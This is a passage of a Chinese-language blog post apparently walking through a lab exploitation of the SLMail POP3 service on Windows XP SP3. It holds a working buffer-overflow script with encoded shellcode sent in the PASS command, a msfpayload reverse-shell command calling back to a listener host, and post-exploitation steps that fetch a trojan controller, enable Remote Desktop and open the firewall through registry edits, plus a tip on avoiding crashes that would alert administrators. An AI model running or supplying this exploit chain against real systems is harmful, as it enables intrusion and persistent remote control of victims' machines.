"\x43\x41\xb7\x2a\x43\x71\xa3\xd9\xa0\xbf\xe5\x89\x24\x61\x54\x51"+
"\xae\x62\xcd\xef\xfb\x03\xc3\xf0\xbb\x03\xf4\xd3\x37\xe1\xc3\x4c"+
"\x25\xcd\x90\xd7\x37\xe7\xf4\x0e\x2d\x57\x2a\x6a\xc0\x33\xfe\xed"+
"\xca\xce\x7b\xef\x11\x38\x5e\x2a\x9f\xce\x7d\xd4\x9b\x62\xf8\xc4"+
"\x9b\x72\xf8\x78\x18\x59\xa1\x8d\xc2\x9a\xcd\xef\xc9\x8d\xcd\xd4"+
"\x41\xd0\x3e\xef\x24\xc8\x01\xe7\x9f\xce\x7d\xed\xd8\x60\xfe\x78"+
"\x18\x57\xc1\xe3\xae\x59\xc8\xea\xa2\x61\xf2\xae\x04\xb8\x4c\xed"+
"\x8c\xb8\x49\xb6\x08\xc2\x01\x12\x41\xcc\x55\xc5\xe5\xcf\xe9\xab"+
"\x45\x4b\x93\x2c\x63\x9a\xc3\xf5\x36\x82\xbd\x78\xbd\x19\x54\x51"+
"\x93\x66\xf9\xd6\x99\x60\xc1\x86\x99\x60\xfe\xd6\x37\xe1\xc3\x2a"+
"\x11\x34\x65\xd4\x37\xe7\xc1\x78\x37\x06\x54\x57\xa0\xd6\xd2\x41"+
"\xb1\xce\xde\x83\x37\xe7\x54\xf0\x34\xce\x7b\xef\x38\xbb\xaf\xd8"+
"\x9b\xce\x7d\x78\x18\x31")

buffer = 'A' * 2606 + "\x03\x97\x4b\x5f" + "\x90" * 8 + shellcode
 
try:
   print "\nSending evil buffer..."
   s.connect(("10.10.10.131",110))
   data = s.recv(1024)
   s.send("USER z9m8r8"+"\r\n")
   data = s.recv(1024)
   s.send("PASS "+buffer+"\r\n")
   s.close()
   print "\nDone!."
except:
   print "Could not connect to POP3!"

备注:"0x90"表示无操作,防止shellcode前部分代码被擦除

(2)重发buffer

注意:nc -vlp 444 (kali先开启侦听端口等待反弹shell的连接)

连接成功!

  经测试退出后亦可重复连接。有些shellcode执行结束会以exitprocess方式退出整个进程,将导致邮件服务奔溃,会引起管理员注意,不过新版本的metasploit已经进行优化。

Slmail是一个基于线程的应用,可用ExitThread方式可以避免整个服务崩溃,可实现重复溢出;

./msfpayload win32_reverse LHOST=10.10.10.171 EXITFUNC=thread LPORT=444 R | ./msfencode -b "\x00\x0a\x0d"

7.8 图形界面控制

在此基础上ftp下载一个图形化木马管理程序

通过注册表可开启windows_xp_sp3的远程桌面服务 

3389.reg:

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"fDenyTSConnections"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM Server\Wds\rdpwd\Tds\tcp]
"PortNumber"=dword:00000d3d
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
"PortNumber"=dword:00000d3d

执行前:

执行:

C:\>echo Windows Registry Editor Version 5.00>3389.reg
echo Windows Registry Editor Version 5.00>3389.reg

C:\>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg

C:\>echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg

C:\>echo [HKEY_LOCAL_MACHINE\SYSTEM Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM Server\Wds\rdpwd\Tds\tcp]>>3389.reg

C:\>echo "PortNumber"=dword:00000d3d>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg

C:\>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg

C:\>echo "PortNumber"=dword:00000d3d>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg

C:\>regedit /s 3389.reg
regedit /s 3389.reg

C:\>shutdown -r -t 0
shutdown -r -t 0

结果:

  防火墙开启远程桌面(通过现有shell,修改注册表开启)

   通过 RegSnap 抓取修改上图中的Remote Desktop 前后注册表变化,确定所需修改的注册表值,然后通过上面类似操作远程修改,重启即可)

 3389_firewall.reg

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List]
"3389:TCP"="3389:TCP:*:Enabled:@xpsp2res.dll,-22009"

执行前:

 执行:

C:\>echo Windows Registry Editor Version 5.00>3389_firewall.reg
echo Windows Registry Editor Version 5.00>3389_firewall.reg

C:\>echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List]>>3389_firewall.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List]>>3389_firewall.reg

C:\>echo "3389:TCP"="3389:TCP:*:Enabled:@xpsp2res.dll,-22009">>3389_firewall.reg
echo "3389:TCP"="3389:TCP:*:Enabled:@xpsp2res.dll,-22009">>3389_firewall.reg

C:\>regedit /s 3389_firewall.reg
regedit /s 3389_firewall.reg

C:\>shutdown -r -t 0
shutdown -r -t 0

结果:

posted @ 2022-01-28 14:26  z9m8r8  阅读(614)  评论(0编辑  收藏  举报